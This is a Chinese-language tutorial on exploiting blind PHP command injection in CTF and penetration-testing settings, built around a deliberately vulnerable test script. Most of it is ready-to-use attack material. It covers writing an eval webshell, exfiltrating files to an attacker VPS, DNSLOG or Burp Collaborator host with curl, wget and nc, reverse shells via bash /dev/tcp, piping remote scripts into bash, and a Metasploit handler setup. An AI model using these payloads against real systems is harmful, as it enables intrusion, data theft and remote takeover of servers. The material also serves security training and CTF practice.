浅谈PHP无回显命令执行的利用
字数 1113 2025-08-19 12:41:56
PHP无回显命令执行的利用技术详解
一、前言
在CTF比赛和渗透测试中,经常会遇到命令执行但没有回显的情况。本文全面总结了无回显命令执行的判断方法和利用技术,帮助安全研究人员有效利用这类漏洞。
二、判断方法
1. 代码审计
通过审计代码逻辑判断是否存在命令执行漏洞,这需要扎实的代码审计能力。
2. 延时测试
ip=| sleep 5
如果执行后延时5秒,证明存在命令执行漏洞。
3. HTTP请求测试
注意:ping命令不会产生HTTP请求
步骤:
- 公网服务器监听端口:
nc -lp 4444
- 目标服务器执行:
ip=| curl 公网IP:4444
如果公网服务器收到请求,则存在漏洞。
4. DNS请求测试(DNSLOG)
- 注册ceye.io获取域名(如v4utm7.ceye.io)
- 执行命令:
ip=| curl `whoami`.v4utm7.ceye.io
- 查看dnslog记录,如显示www-data则存在漏洞。
三、利用方法
测试环境代码
<?php
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
include("flag.php");
$ip = $_REQUEST['ip'];
if($ip){
shell_exec("ping -c 4 ".$ip);
}
?>
1. 直接执行命令写入文件
条件:站点目录有写权限
方法:
# 写入文本文件
cat flag.php > flag.txt
cat flag.php >> flag.txt
# 使用复制命令
cp flag.php flag.txt
# 使用移动命令
mv flag.php flag.txt
# 打包压缩
tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php
zip flag.zip flag.php
解压后获取文件内容。
2. 写入Webshell
条件:站点目录有写权限
方法:
# 直接写入
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e | xxd -r -ps > webshell.php
echo "<?php @eval(\$_POST[123]); ?>" > webshell.php
# 外部下载
wget 网址 -O webshell.php
使用蚁剑等工具连接webshell获取flag。
3. VPS记录脚本
条件:目标服务器可发起HTTP请求
步骤:
- 公网服务器创建record.php:
<?php
$data = $_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f, $data);
fclose($f);
?>
- 目标服务器执行:
curl http://公网IP/record.php?data=`cat flag.php | base64`
wget http://公网IP/record.php?data=`cat flag.php | base64`
- 获取base64编码内容并解码。
4. DNSLOG带出数据
注意:
- 避免空格,可用<代替
- 反引号包含命令
- 域名长度限制
方法:
curl `cat<flag.php|base64`.v4utm7.ceye.io
# 或
`cat flag.php|sed s/[[:space:]]//g`.v4utm7.ceye.io
查看dnslog获取base64数据并解码。
5. 反弹Shell
条件:目标服务器可连接公网
方法1:
- 公网服务器:
nc -vv -lp 8888
- 目标服务器:
bash -i >& /dev/tcp/公网IP/8888 0>&1
- Payload:
ip=127.0.0.1%0d%0abash+-i+>%26+/dev/tcp/公网IP/8888+0>%261
方法2:
- 公网服务器:
nc -lvp 4444
- 创建qwzf文件内容:
bash -i >& /dev/tcp/公网IP/4444 0>&1
- 目标服务器:
ip=| curl 公网IP:8002/qwzf | bash
6. MSF反向连接
条件:目标服务器可连接公网
步骤:
- 公网服务器MSF配置:
use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 4444
set lhost 公网IP
set exitonsession false
exploit -j
- 目标服务器执行:
ip=| bash -i >& /dev/tcp/公网IP/4444 0>&1
或
ip=| curl 公网IP:8002/qwzf | bash
- 获取shell后查看flag。
7. 使用NC传输文件
条件:目标服务器有nc工具
TCP方法:
- 公网服务器:
nc -tlp 4444
- 目标服务器:
ip=| nc -t 公网IP 4444 < flag.php
UDP方法:
- 公网服务器:
nc -ulp 4444
- 目标服务器:
ip=| nc -u 公网IP 4444 < flag.php
8. Curl上传文件
条件:curl命令可用
步骤:
- 获取Burp Collaborator地址(如jyla6p5cfepdojez34stnodch3ntbi.burpcollaborator.net)
- 执行:
ip=| curl -X POST -F xx=@flag.php http://Collaborator地址
- 查看Collaborator收到的数据获取flag。
四、总结
本文详细介绍了多种无回显命令执行的利用技术,包括:
- 直接写入文件
- Webshell写入
- VPS记录脚本
- DNSLOG外带数据
- 反弹Shell
- MSF反向连接
- NC文件传输
- Curl上传文件
根据目标环境的不同限制条件,选择最适合的利用方法。在实际测试中,可能需要结合多种技术才能成功获取数据。